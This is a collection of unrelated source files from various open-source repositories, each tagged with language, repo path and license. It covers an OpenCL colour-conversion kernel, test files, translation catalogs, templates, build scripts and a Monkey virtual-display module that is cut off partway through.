#define RGB_TO_Y(r, g, b) ((((mul24(b, 13) + mul24(g, 65) + mul24(r, 33)) + 64) >> 7) + 16) #define RGB_TO_U(r, g, b) ((mul24(b, 56) - mul24(g, 37) - mul24(r, 19) + 0x8080) >> 8) #define RGB_TO_V(r, g, b) ((mul24(r, 56) - mul24(g, 47) - mul24(b, 9) + 0x8080) >> 8) #define AVERAGE(x, y, z, w) ((convert_ushort(x) + convert_ushort(y) + convert_ushort(z) + convert_ushort(w) + 1) >> 1) inline void convert_2_ys(__global uchar * out_yuv, int yi, const uchar8 rgbs1) { uchar2 yy = (uchar2)( RGB_TO_Y(rgbs1.s2, rgbs1.s1, rgbs1.s0), RGB_TO_Y(rgbs1.s5, rgbs1.s4, rgbs1.s3) ); #ifdef CL_DEBUG if(yi >= RGB_SIZE) printf("Y vector2 overflow, %d > %d\n", yi, RGB_SIZE); #endif vstore2(yy, 0, out_yuv + yi); } inline void convert_4_ys(__global uchar * out_yuv, int yi, const uchar8 rgbs1, const uchar8 rgbs3) { const uchar4 yy = (uchar4)( RGB_TO_Y(rgbs1.s2, rgbs1.s1, rgbs1.s0), RGB_TO_Y(rgbs1.s5, rgbs1.s4, rgbs1.s3), RGB_TO_Y(rgbs3.s0, rgbs1.s7, rgbs1.s6), RGB_TO_Y(rgbs3.s3, rgbs3.s2, rgbs3.s1) ); #ifdef CL_DEBUG if(yi > RGB_SIZE - 4) printf("Y vector4 overflow, %d > %d\n", yi, RGB_SIZE - 4); #endif vstore4(yy, 0, out_yuv + yi); } inline void convert_uv(__global uchar * out_yuv, int ui, int vi, const uchar8 rgbs1, const uchar8 rgbs2) { // U & V: average of 2x2 pixels square const short ab = AVERAGE(rgbs1.s0, rgbs1.s3, rgbs2.s0, rgbs2.s3); const short ag = AVERAGE(rgbs1.s1, rgbs1.s4, rgbs2.s1, rgbs2.s4); const short ar = AVERAGE(rgbs1.s2, rgbs1.s5, rgbs2.s2, rgbs2.s5); #ifdef CL_DEBUG if(ui >= RGB_SIZE + RGB_SIZE / 4) printf("U overflow, %d >= %d\n", ui, RGB_SIZE + RGB_SIZE / 4); if(vi >= RGB_SIZE + RGB_SIZE / 2) printf("V overflow, %d >= %d\n", vi, RGB_SIZE + RGB_SIZE / 2); #endif out_yuv[ui] = RGB_TO_U(ar, ag, ab); out_yuv[vi] = RGB_TO_V(ar, ag, ab); } inline void convert_2_uvs(__global uchar * out_yuv, int ui, int vi, const uchar8 rgbs1, const uchar8 rgbs2, const uchar8 rgbs3, const uchar8 rgbs4) { // U & V: average of 2x2 pixels square const short ab1 = AVERAGE(rgbs1.s0, rgbs1.s3, rgbs2.s0, rgbs2.s3); const short ag1 = AVERAGE(rgbs1.s1, rgbs1.s4, rgbs2.s1, rgbs2.s4); const short ar1 = AVERAGE(rgbs1.s2, rgbs1.s5, rgbs2.s2, rgbs2.s5); const short ab2 = AVERAGE(rgbs1.s6, rgbs3.s1, rgbs2.s6, rgbs4.s1); const short ag2 = AVERAGE(rgbs1.s7, rgbs3.s2, rgbs2.s7, rgbs4.s2); const short ar2 = AVERAGE(rgbs3.s0, rgbs3.s3, rgbs4.s0, rgbs4.s3); uchar2 u2 = (uchar2)( RGB_TO_U(ar1, ag1, ab1), RGB_TO_U(ar2, ag2, ab2) ); uchar2 v2 = (uchar2)( RGB_TO_V(ar1, ag1, ab1), RGB_TO_V(ar2, ag2, ab2) ); #ifdef CL_DEBUG1 if(ui > RGB_SIZE + RGB_SIZE / 4 - 2) printf("U 2 overflow, %d >= %d\n", ui, RGB_SIZE + RGB_SIZE / 4 - 2); if(vi > RGB_SIZE + RGB_SIZE / 2 - 2) printf("V 2 overflow, %d >= %d\n", vi, RGB_SIZE + RGB_SIZE / 2 - 2); #endif vstore2(u2, 0, out_yuv + ui); vstore2(v2, 0, out_yuv + vi); } __kernel void rgb_to_yuv(__global uchar const * const rgb, __global uchar * out_yuv) { const int dx = get_global_id(0); const int dy = get_global_id(1); const int col = mul24(dx, 4); // Current column in rgb image const int row = mul24(dy, 4); // Current row in rgb image const int bgri_start = mad24(row, RGB_STRIDE, mul24(col, 3)); // Start offset of rgb data being converted const int yi_start = mad24(row, WIDTH, col); // Start offset in the target yuv buffer int ui = mad24(row / 2, UV_WIDTH, RGB_SIZE + col / 2); int vi = mad24(row / 2 , UV_WIDTH, RGB_SIZE + UV_WIDTH * UV_HEIGHT + col / 2); int num_col = min(WIDTH - col, 4); int num_row = min(HEIGHT - row, 4); if(num_row == 4) { const uchar8 rgbs0_0 = vload8(0, rgb + bgri_start); const uchar8 rgbs0_1 = vload8(0, rgb + bgri_start + 8); const uchar8 rgbs1_0 = vload8(0, rgb + bgri_start + RGB_STRIDE); const uchar8 rgbs1_1 = vload8(0, rgb + bgri_start + RGB_STRIDE + 8); const uchar8 rgbs2_0 = vload8(0, rgb + bgri_start + RGB_STRIDE * 2); const uchar8 rgbs2_1 = vload8(0, rgb + bgri_start + RGB_STRIDE * 2 + 8); const uchar8 rgbs3_0 = vload8(0, rgb + bgri_start + RGB_STRIDE * 3); const uchar8 rgbs3_1 = vload8(0, rgb + bgri_start + RGB_STRIDE * 3 + 8); if(num_col == 4) { convert_4_ys(out_yuv, yi_start, rgbs0_0, rgbs0_1); convert_4_ys(out_yuv, yi_start + WIDTH, rgbs1_0, rgbs1_1); convert_4_ys(out_yuv, yi_start + WIDTH * 2, rgbs2_0, rgbs2_1); convert_4_ys(out_yuv, yi_start + WIDTH * 3, rgbs3_0, rgbs3_1); convert_2_uvs(out_yuv, ui, vi, rgbs0_0, rgbs1_0, rgbs0_1, rgbs1_1); convert_2_uvs(out_yuv, ui + UV_WIDTH, vi + UV_WIDTH, rgbs2_0, rgbs3_0, rgbs2_1, rgbs3_1); } else if(num_col == 2) { convert_2_ys(out_yuv, yi_start, rgbs0_0); convert_2_ys(out_yuv, yi_start + WIDTH, rgbs1_0); convert_2_ys(out_yuv, yi_start + WIDTH * 2, rgbs2_0); convert_2_ys(out_yuv, yi_start + WIDTH * 3, rgbs3_0); convert_uv(out_yuv, ui, vi, rgbs0_0, rgbs1_0); convert_uv(out_yuv, ui + UV_WIDTH, vi + UV_WIDTH, rgbs2_0, rgbs3_0); } } else { const uchar8 rgbs0_0 = vload8(0, rgb + bgri_start); const uchar8 rgbs0_1 = vload8(0, rgb + bgri_start + 8); const uchar8 rgbs1_0 = vload8(0, rgb + bgri_start + RGB_STRIDE); const uchar8 rgbs1_1 = vload8(0, rgb + bgri_start + RGB_STRIDE + 8); if(num_col == 4) { convert_4_ys(out_yuv, yi_start, rgbs0_0, rgbs0_1); convert_4_ys(out_yuv, yi_start + WIDTH, rgbs1_0, rgbs1_1); convert_2_uvs(out_yuv, ui, vi, rgbs0_0, rgbs1_0, rgbs0_1, rgbs1_1); } else if(num_col == 2) { convert_2_ys(out_yuv, yi_start, rgbs0_0); convert_2_ys(out_yuv, yi_start + WIDTH, rgbs1_0); convert_uv(out_yuv, ui, vi, rgbs0_0, rgbs1_0); } } }
OpenCL
4
Neptos/openpilot
selfdrive/camerad/transforms/rgb_to_yuv.cl
[ "MIT" ]
const struct class SPoint { const Int x const Int y //new make(|This| f) { f(this) } new make(Int x, Int y) { this.x = x this.y = y } } class StructTest { Void main() { //p := SPoint{x=1; y=2} p := SPoint(1, 2) echo("$p.x") } }
Fantom
4
fanx-dev/fanx
library/baseTest/fan/StructTest.fan
[ "AFL-3.0" ]
# This file is distributed under the same license as the Django package. # # Translators: msgid "" msgstr "" "Project-Id-Version: django\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2015-01-17 11:07+0100\n" "PO-Revision-Date: 2017-10-06 11:44+0000\n" "Last-Translator: Muḥend Belqasem <belkacem77@gmail.com>\n" "Language-Team: Kabyle (http://www.transifex.com/django/django/language/" "kab/)\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Language: kab\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" msgid "Sites" msgstr "Ismal" msgid "The domain name cannot contain any spaces or tabs." msgstr "Isem n taɣult ur izmir ara ad yegber isekkilen ilmawen n tirigliwin." msgid "domain name" msgstr "isem n taɣult" msgid "display name" msgstr "mefffer isem" msgid "site" msgstr "asmel" msgid "sites" msgstr "ismal"
Gettext Catalog
2
jpmallarino/django
django/contrib/sites/locale/kab/LC_MESSAGES/django.po
[ "BSD-3-Clause", "0BSD" ]
fileFormatVersion: 2 guid: 9d871df7bbc973d468622dd10b6f7ea9 timeCreated: 1518577405 licenseType: Pro DefaultImporter: userData: assetBundleName: assetBundleVariant:
Unity3D Asset
0
mengtest/my_test_xlua_z
Assets/XLua/Doc/XLua教程.md.meta
[ "BSD-3-Clause" ]
!macro customInit ; Workaround for installer handing when the app directory is removed manually ${ifNot} ${FileExists} "$INSTDIR" DeleteRegKey HKCU "Software\Microsoft\Windows\CurrentVersion\Uninstall\{${UNINSTALL_APP_KEY}}" ${EndIf} ; Workaround for the old-format uninstall registry key (some people report it causes hangups, too) ReadRegStr $0 HKCU "Software\Microsoft\Windows\CurrentVersion\Uninstall\${UNINSTALL_APP_KEY}" "QuietUninstallString" StrCmp $0 "" proceed 0 DeleteRegKey HKCU "Software\Microsoft\Windows\CurrentVersion\Uninstall\${UNINSTALL_APP_KEY}" proceed: !macroend
NSIS
4
pjsoni/lens
build/installer.nsh
[ "MIT" ]
<?xml version="1.0" encoding="utf-8"?> <feed xmlns="http://www.w3.org/2005/Atom"> <title type="text">${ title }</title> % if link: <link href="${ link }/changelog" rel="alternate"/> <link href="${ link }/changelog.atom" rel="self" type="application/atom+xml"/> <icon>${ link }/favicon.ico</icon> % endif <updated>${ format_date(updated) }</updated> % if link: <id>${ link }/changelog</id> % endif %for item in changelogs: <entry> <title type="text">${ item.version }: ${ item.title }</title> % if link: <link href="${ link }/changelog?version=${ item.version }"/> <id>${ link }/changelog?version=${ item.version }</id> % endif <updated>${ format_date(item.date) }</updated> <summary type="html"> <![CDATA[${ item.html }]]> </summary> </entry> % endfor </feed>
Mako
3
zuzhi/rssant
rssant_common/resources/changelog.atom.mako
[ "BSD-3-Clause" ]
pub mod test_go; pub mod test_py; pub mod test_rust; use assert_cmd::prelude::*; use dir_diff; use std::process::Command; use tempdir; use tempdir::TempDir; #[test] fn test_rust_help() { /// todo: compile rust executive file let path = "cargo"; let mut cmd = Command::new("run"); /// todo: add directory cmd.dir(""); // assert_eq!(output, help); let assert = cmd.assert(); assert.success().stdout( r#"gen-license-go is a 996.icu license generator implemented in Go, this generator is developed to generate various open-source licenses including MIT, Apache, etc. More importantly, the main purpose of this tool is to incorporate those aforesaid licenses into a brand new license: 996.icu, defined by this repository. Usage: gen-license-go [flags] gen-license-go [command] Available Commands: gen gen is a 996.icu license generator-command. help Help about any command Flags: -h, --help help for gen-license-go -l, --list list all licenses (default true) Use "gen-license-go [command] --help" for more information about a command."#, ); }
Rust
3
luyouli/996.ICU
archived/licenses[WIP]/tools/test-gen-license/src/lib.rs
[ "ICU", "MIT" ]
{eq} = require './_helpers' suite 'files with/without matches' -> test 'single file - files-with-matches' -> eq '--files-with-matches return test/data/a.js', 'test/data/a.js', it test 'single file - files-with-matches - no results' -> eq '--files-with-matches "return.arg::func" test/data/a.js', [], it test 'single file - files-without-match' -> eq '--files-without-match "return.arg::func" test/data/a.js', 'test/data/a.js', it test 'single file - files-without-match - no results' -> eq '--files-without-match return test/data/a.js', [], it
LiveScript
3
GerHobbelt/grasp
test/files-with-without-matches.ls
[ "MIT" ]
section variable (A : Type) definition f : A → A := λ x, x end #check f
Lean
4
JLimperg/lean
tests/lean/run/def4.lean
[ "Apache-2.0" ]
source("M:\\josef_new\\eclipse_ws\\statsmodels\\statsmodels_py34_pr\\tools\\R2nparray\\R\\R2nparray.R") library('mgcv') library('gamair') d = data(mpg) #gam_a = gam(city.mpg ~ fuel + drive + s(weight,bs="cc",k=7) + s(hp,bs="cc",k=6), data = mpg, # sp = c(6.46225497484073, 0.81532465890585)) #gam_a = gam(city.mpg ~ fuel + drive + s(weight,bs="bs",k=7) + s(hp,bs="bs",k=6), data = mpg) sm_knots_w = c(1488., 1488., 1488., 1488., 1953.22222222, 2118.77777778, 2275., 2383.88888889, 2515.55555556, 2757.33333333, 3016.44444444, 3208.11111111, 4066., 4066., 4066., 4066.) sm_knots_hp = c(48.0, 48.0, 48.0, 48.0, 68.0, 73.0, 88.0, 101.0, 116.0, 152.28571428571428, 288.0, 288.0, 288.0, 288.0) knots_w <- data.frame(weight=sm_knots_w) knots_h <- data.frame(hp=sm_knots_hp) gam_a = gam(city.mpg ~ fuel + drive + s(weight,bs="bs",k=12) + s(hp,bs="bs",k=10), data = mpg, knots=c(knots_w, knots_h), family=poisson) pls = gam_a fname = "results_mpg_bs_poisson.py" append = FALSE #TRUE #redirect output to file sink(file=fname, append=append) write_header() mod_name = "mpg_bs_poisson." cat("\nmpg_bs_poisson = Bunch()\n") cat(paste("\n", mod_name, "smooth0 = Bunch()\n", sep="")) sm1 <- gam_a$smooth[[1]] cat_items(sm1, prefix=paste(mod_name, "smooth0.", sep="")) #, blacklist=c()) cat("\n") cat(convert.numeric(pls$smooth[[1]]$S[[1]], name=paste(mod_name, "smooth0.S", sep=""))) cat("\n") cat_items(pls, prefix=mod_name, blacklist=c("eq", "control")) cat("\n") pls_summ = summary(pls) cat_items(pls_summ, prefix=mod_name, blacklist=c("eq", "control")) params = coef(pls) cat("\n") cat(convert.numeric(params, name=paste(mod_name, "params", sep=""))) # stop redirecting output sink()
R
3
madhushree14/statsmodels
statsmodels/gam/tests/results/results_mpg_bs_poisson.r
[ "BSD-3-Clause" ]
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ #include "src/standalone_crt/include/tvm/runtime/crt/microtvm_rpc_server.h" #include "src/standalone_crt/include/tvm/runtime/crt/logging.h" microtvm_rpc_server_t server; // Called by TVM to write serial data to the UART. ssize_t write_serial(void* unused_context, const uint8_t* data, size_t size) { Serial.write(data, size); return size; } void setup() { server = MicroTVMRpcServerInit(write_serial, NULL); TVMLogf("microTVM Arduino runtime - running"); Serial.begin(115200); // If desired, initialize the RNG with random noise // randomSeed(analogRead(0)); } void loop() { // Read at most 128 bytes at a time to prevent stack blowup int to_read = min(Serial.available(), 128); uint8_t data[to_read]; size_t bytes_remaining = Serial.readBytes((char*) data, to_read); uint8_t* arr_ptr = data; while (bytes_remaining > 0) { // Pass the received bytes to the RPC server. tvm_crt_error_t err = MicroTVMRpcServerLoop(server, &arr_ptr, &bytes_remaining); if (err != kTvmErrorNoError && err != kTvmErrorFramingShortPacket) { TVMPlatformAbort(err); } } }
Arduino
4
XiaoSong9905/tvm
apps/microtvm/arduino/template_project/src/host_driven/project.ino
[ "Apache-2.0" ]
#!/usr/bin/env bash # Copyright 2014 The Flutter Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # Capture the directory this script resides in SCRIPT_DIRECTORY="$(dirname $(readlink -f "$0"))" # Set context to flutter/dev CONTEXT="${SCRIPT_DIRECTORY}/../.." TAG="${CIRRUS_TAG:-latest}" # Convert "+" to "-" to make hotfix tags legal Docker tag names. # See https://docs.docker.com/engine/reference/commandline/tag/ TAG=${TAG/+/-} # pull to make sure we are not rebuilding for nothing sudo docker pull "gcr.io/flutter-cirrus/build-flutter-image:$TAG" sudo docker build "$@" \ --tag "gcr.io/flutter-cirrus/build-flutter-image:$TAG" \ --file "$SCRIPT_DIRECTORY/Dockerfile" \ "$CONTEXT"
Shell
5
Mayb3Nots/flutter
dev/ci/docker_linux/docker_build.sh
[ "BSD-3-Clause" ]
MODULE = Agar::Pixmap PACKAGE = Agar::Pixmap PREFIX = AG_ PROTOTYPES: ENABLE VERSIONCHECK: DISABLE Agar::Pixmap new(package, parent, surface) const char * package Agar::Widget parent Agar::Surface surface PREINIT: Uint wflags = 0; CODE: if ((items == 4 && SvTYPE(SvRV(ST(3))) != SVt_PVHV) || items > 4) { Perl_croak(aTHX_ "Usage: Agar::Pixmap->new(parent,surface,[{opts}])"); } if (items == 4) { AP_MapHashToFlags(SvRV(ST(3)), apWidgetFlagNames, &wflags); } RETVAL = AG_PixmapFromSurface(parent, 0, surface); if (RETVAL) { AGWIDGET(RETVAL)->flags |= wflags; } OUTPUT: RETVAL Agar::Pixmap newScaled(package, parent, surface, w, h) const char * package Agar::Widget parent Agar::Surface surface int w int h PREINIT: Uint wflags = 0; CODE: if ((items == 6 && SvTYPE(SvRV(ST(5))) != SVt_PVHV) || items > 6) { Perl_croak(aTHX_ "Usage: Agar::Pixmap->newScaled(parent,surface,w,h,[{opts}])"); } if (items == 6) { AP_MapHashToFlags(SvRV(ST(5)), apWidgetFlagNames, &wflags); } RETVAL = AG_PixmapFromSurfaceScaled(parent, 0, surface, w,h); if (RETVAL) { AGWIDGET(RETVAL)->flags |= wflags; } OUTPUT: RETVAL void setSourceCoords(self, x, y) Agar::Pixmap self int x int y CODE: AG_PixmapSetCoords(self, x, y); void setFlag(self, name) Agar::Pixmap self const char * name CODE: AP_SetNamedFlag(name, apWidgetFlagNames, &(AGWIDGET(self)->flags)); void unsetFlag(self, name) Agar::Pixmap self const char * name CODE: AP_UnsetNamedFlag(name, apWidgetFlagNames, &(AGWIDGET(self)->flags)); Uint getFlag(self, name) Agar::Pixmap self const char * name CODE: if (AP_GetNamedFlag(name, apWidgetFlagNames, AGWIDGET(self)->flags, &RETVAL)) { XSRETURN_UNDEF; } OUTPUT: RETVAL
XS
4
auzkok/libagar
p5-Agar/Agar/Pixmap.xs
[ "BSD-2-Clause" ]
require "./repl" # This class keeps track of all the constants the interpreter will # need access to, and allows you to declare and access their position # in memory, and whether they have an initializer or not. # # Trivial constants such as `A = 1` (int literals, bools, etc.) are not stored # in memory. Instead, their value is inlined in the bytecode when they are used. # # The interpreter holds a memory region for constants, for example like this: # # [_,_,_,_,_,_,_,_,_,......] # ^-----^ ^-------^ # A B # # In this memory, for each constant there are 8 bytes that indicate # whether the constant was initialized or not. After these 8 bytes comes the # constant data, aligned to 8 bytes boundaries so that the GC # can properly track pointers (that's why we also use 8 bytes for the `initialized` bit.) # # This class and `ClassVars` are very similar. class Crystal::Repl::Constants # The offset to use after the index of a constant to get access to its data. OFFSET_FROM_INITIALIZED = 8 # Each value tracked per constant: its index in memory and record Value, index : Int32, compiled_def : CompiledDef def initialize(@context : Context) @data = {} of Const => Value @bytesize = 0 end # Returns the total amount of bytes needed to store all known constants so far. def bytesize @bytesize end # Declares a new constant. Returns the index in memory where it will be stored. # `compiled_def` is the constant initializer compiled to bytecode. # Note that at that index the `initializer` "bit" (8 bytes) should be stored, # and only after `OFFSET_FROM_INITIALIZER` the data should be stored. def declare(const : Const, compiled_def : CompiledDef) : Int32 type = const.value.type index = @bytesize @data[const] = Value.new(index, compiled_def) @bytesize += OFFSET_FROM_INITIALIZED @bytesize += @context.aligned_sizeof_type(type) index end # Fetches a constant, if it's there. def fetch?(const : Const) : Value? @data[const]? end end
Crystal
5
jessedoyle/crystal
src/compiler/crystal/interpreter/constants.cr
[ "Apache-2.0" ]
package influxdb_test import "testing/expect" option now = () => (2030-01-01T00:00:00Z) testcase push_down_min_bare extends "flux/planner/group_min_test" { expect.planner(rules: [ "PushDownGroupAggregateRule": 1, ]) group_min_test.group_min_bare() } testcase push_down_min_bare_host extends "flux/planner/group_min_test" { expect.planner(rules: [ "PushDownGroupAggregateRule": 1, ]) group_min_test.group_min_bare_host() } testcase push_down_min_bare_field extends "flux/planner/group_min_test" { expect.planner(rules: [ "PushDownGroupAggregateRule": 1, ]) group_min_test.group_min_bare_field() } testcase push_down_max_bare extends "flux/planner/group_max_test" { expect.planner(rules: [ "PushDownGroupAggregateRule": 1, ]) group_max_test.group_max_bare() } testcase push_down_max_bare_host extends "flux/planner/group_max_test" { expect.planner(rules: [ "PushDownGroupAggregateRule": 1, ]) group_max_test.group_max_bare_host() } testcase push_down_max_bare_field extends "flux/planner/group_max_test" { expect.planner(rules: [ "PushDownGroupAggregateRule": 1, ]) group_max_test.group_max_bare_field() } testcase push_down_table_test_min extends "flux/planner/group_min_max_table_test" { expect.planner(rules: [ "PushDownGroupAggregateRule": 1, ]) group_min_max_table_test.group_min_table() } testcase push_down_table_test_max extends "flux/planner/group_min_max_table_test" { expect.planner(rules: [ "PushDownGroupAggregateRule": 1, ]) group_min_max_table_test.group_max_table() }
FLUX
3
ldwformat/influxdb
query/stdlib/influxdata/influxdb/min_max_influxdb_test.flux
[ "MIT" ]
(*********************************************************** [PROJECT NAME] TESTS [DESCRIPTION] ************************************************************) (***********************************************************) (***********************************************************) (* System Type : NetLinx *) (***********************************************************) (* INCLUDES GO BELOW *) (***********************************************************) #include 'amx-test-suite' (***********************************************************) (* DEVICE NUMBER DEFINITIONS GO BELOW *) (***********************************************************) DEFINE_DEVICE (***********************************************************) (* TEST DEFINITIONS GO BELOW *) (***********************************************************) DEFINE_MUTUALLY_EXCLUSIVE define_function testSuiteRun() { } (***********************************************************) (* THE EVENTS GO BELOW *) (***********************************************************) DEFINE_EVENT (***********************************************************) (* END OF PROGRAM *) (* DO NOT PUT ANY CODE BELOW THIS COMMENT *) (***********************************************************)
NetLinx
4
RBSystems/amx-test-suite
template/Netlinx Test Suite.axs
[ "Apache-2.0" ]
<p>null</p> <p>undefined</p>
HTML
0
Theo-Steiner/svelte
test/hydration/samples/dynamic-text-nil/_before.html
[ "MIT" ]
{% extends "layouts/base.volt" %} {% block head_icons %} {%- endblock -%} {%- block body_start -%} <body class="hold-transition lockscreen"> {%- endblock -%} {%- block wrapper_start -%} <div class="lockscreen-wrapper"> {%- endblock -%} {% block content %} {{ content() }} {% endblock %} {%- block wrapper_end -%} </div> {% endblock %}
Volt
4
PSD-Company/phalcon-devtools-docker
src/Web/Tools/Views/layouts/error.volt
[ "BSD-3-Clause" ]
;Local S X=$ZF(-1,"rename input.txt output.txt") S X=$ZF(-1,"rename docs.dir mydocs.dir") ;Root of current device S X=$ZF(-1,"rename [000000]input.txt [000000]output.txt") S X=$ZF(-1,"rename [000000]docs.dir [000000]mydocs.dir")
M
3
LaudateCorpus1/RosettaCodeData
Task/Rename-a-file/MUMPS/rename-a-file.mumps
[ "Info-ZIP" ]
.row-fluid .no-gutter { margin-left: 0px; } footer { text-align: center; margin: 30px 0; } #editor { width: 50%; height: 400px; float: left; clear: left; position: relative; font-family: "source-code-pro"; font-size: 14px; border: 1px solid #ddd; border-radius: 4px; border-bottom-right-radius: 0px; } .preview-pane { border: 3px solid #ccc; } .controls { float: left; clear: left; width: 50%; padding-top: 10px; } #template { width: 250px; } .tweet-buttons { float: left; margin-right: 40px; padding-top: 8px; } .source { font-family: "source-code-pro", Courier; font-size: 14px; } .controls .alert { float: left; }
CSS
2
allansson/jsPDF
examples/css/editor.css
[ "MIT" ]
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.spark.sql.execution.datasources import org.apache.spark.sql.QueryTest import org.apache.spark.sql.catalyst.util.CaseInsensitiveMap import org.apache.spark.sql.test.SharedSparkSession class PathFilterStrategySuite extends QueryTest with SharedSparkSession { test("SPARK-31962: PathFilterStrategies - modifiedAfter option") { val options = CaseInsensitiveMap[String](Map("modifiedAfter" -> "2010-10-01T01:01:00")) val strategy = PathFilterFactory.create(options) assert(strategy.head.isInstanceOf[ModifiedAfterFilter]) assert(strategy.size == 1) } test("SPARK-31962: PathFilterStrategies - modifiedBefore option") { val options = CaseInsensitiveMap[String](Map("modifiedBefore" -> "2020-10-01T01:01:00")) val strategy = PathFilterFactory.create(options) assert(strategy.head.isInstanceOf[ModifiedBeforeFilter]) assert(strategy.size == 1) } test("SPARK-31962: PathFilterStrategies - pathGlobFilter option") { val options = CaseInsensitiveMap[String](Map("pathGlobFilter" -> "*.txt")) val strategy = PathFilterFactory.create(options) assert(strategy.head.isInstanceOf[PathGlobFilter]) assert(strategy.size == 1) } test("SPARK-31962: PathFilterStrategies - no options") { val options = CaseInsensitiveMap[String](Map.empty) val strategy = PathFilterFactory.create(options) assert(strategy.isEmpty) } }
Scala
5
kesavanvt/spark
sql/core/src/test/scala/org/apache/spark/sql/execution/datasources/PathFilterStrategySuite.scala
[ "BSD-2-Clause", "Apache-2.0", "CC0-1.0", "MIT", "MIT-0", "ECL-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
.q-expansion-item &__border opacity: 0 &__toggle-icon position: relative transition: transform .3s &--rotated transform: rotate(180deg) &__toggle-focus width: 1em !important height: 1em !important position: relative !important & + .q-expansion-item__toggle-icon margin-top: -1em &--standard &.q-expansion-item--expanded > div > .q-expansion-item__border opacity: 1 &--popup transition: padding .5s > .q-expansion-item__container border: 1px solid $separator-color > .q-separator display: none &.q-expansion-item &--collapsed padding: 0 15px &--expanded padding: 15px 0 & + & padding-top: 0 &.q-expansion-item--collapsed:not(:first-child) > .q-expansion-item__container border-top-width: 0 &.q-expansion-item--expanded + &.q-expansion-item--collapsed > .q-expansion-item__container border-top-width: 1px &__content > .q-card box-shadow: none border-radius: 0 &:first-child > div > .q-expansion-item__border--top opacity: 0 &:last-child > div > .q-expansion-item__border--bottom opacity: 0 &--expanded + &--expanded > div > .q-expansion-item__border--top opacity: 0 &--expanded .q-textarea--autogrow textarea animation: q-expansion-done 0s /* needed for compilation */ @keyframes q-expansion-done 0% --q-exp-done: 1
Sass
3
ygyg70/quasar
ui/src/components/expansion-item/QExpansionItem.sass
[ "MIT" ]
Import mojo.app Import mojo.graphics Import mojo.input ' TO DO -- Limit mouse x/y to visible (zoomed) area, rather than just virtual ' display area? Only when ratioborders kicks in? ' ----------------------------------------------------------------------------- ' Usage... ' ----------------------------------------------------------------------------- ' ----------------------------------------------------------------------------- ' SetVirtualDisplay (width, height) ' ----------------------------------------------------------------------------- ' Call during OnCreate, passing intended width and height of game area. Design ' your game for this fixed display size and it will be scaled correctly on any ' device. You can pass no parameters for default 640 x 480 virtual device size. ' ----------------------------------------------------------------------------- ' ScaleDisplay ' ----------------------------------------------------------------------------- ' Call at start of OnRender, BEFORE ANYTHING ELSE, including Cls! ' ----------------------------------------------------------------------------- ' VMouseX/VMouseY ' ----------------------------------------------------------------------------- ' Call during OnUpdate (or OnRender) to get correctly translated MouseX/MouseY ' positions. By default, the results are bound to the display area within the ' borders. You can override this by passing False as an optional parameter, ' and the functions will then return values outside of the borders. ' ----------------------------------------------------------------------------- ' VDeviceWidth/VDeviceHeight ' ----------------------------------------------------------------------------- ' Call during OnUpdate (or OnRender) for the virtual device width/height. These ' are just the values you passed to SetVirtualDisplay. ' ----------------------------------------------------------------------------- ' Functions... ' ----------------------------------------------------------------------------- ' ----------------------------------------------------------------------------- ' SetVirtualDisplay: Call in OnCreate... ' ----------------------------------------------------------------------------- ' Parameters: width and height of virtual game area... Function SetVirtualDisplay (width:Int = 640, height:Int = 480) New VirtualDisplay (width, height) End ' ----------------------------------------------------------------------------- ' ScaleDisplay: Call at start of OnRender... ' ----------------------------------------------------------------------------- ' Parameter zoom allows you to zoom in and out within the virtual display; ' The 'zoomborders' parameter can be set to False to allow you to retain fixed ' width/height borders for the current display size/ratio. By default, the ' borders scale with the zoom factor. See VMouseX/Y information for more ' details on how this can be used... ' The 'ratioborders' parameter means the outer aspect ratio borders are kept ' no matter how zoomed in the game is. Setting this to False means you can ' zoom into the game, the borders appearing to go 'outside' the screen as ' you zoom further in. You'll have to try it to get it, but it only affects ' zooming inwards... Function ScaleDisplay (zoom:Float = 1.0, zoomborders:Bool = True, ratioborders:Bool = True) VirtualDisplay.Display.ScaleDisplay zoom, zoomborders, ratioborders End ' ----------------------------------------------------------------------------- ' Misc functions: Call in OnUpdate (optionally)... ' ----------------------------------------------------------------------------- ' Mouse position within virtual display; the limit parameter allows you to only ' return values within the virtual display. ' Set the 'limit' parameter to False to allow returning of values outside ' the virtual display area. Combine this with ScaleDisplay's zoomborders ' parameter set to False if you want to be able to zoom way out and allow ' gameplay in the full zoomed-out area... Function VMouseX:Float (limit:Bool = True) Return VirtualDisplay.Display.VMouseX (limit) End Function VMouseY:Float (limit:Bool = True) Return VirtualDisplay.Display.VMouseY (limit) End ' Virtual display size... Function VDeviceWidth:Float () Return VirtualDisplay.Display.vwidth End Function VDeviceHeight:Float () Return VirtualDisplay.Display.vheight End ' ----------------------------------------------------------------------------- ' Virtual Display System... [Public domain code] ' ----------------------------------------------------------------------------- Class VirtualDisplay ' NOTES ' CORRECT MOUSE FRACTION OF DEVICE WIDTH 'Local cfrac:Float = (MouseX - (Float (DeviceWidth) * 0.5)) / Float (DeviceWidth) ' WIDTH OF SCALED VIRTUAL DISPLAY IN PIXELS 'Local real:Float = (vwidth * zoom * multi) ' CORRECT SPACE BETWEEN SCALED DEVICE AND DEVICE ' Local offx:Float = (Float (DeviceWidth) - real)' * 0.5 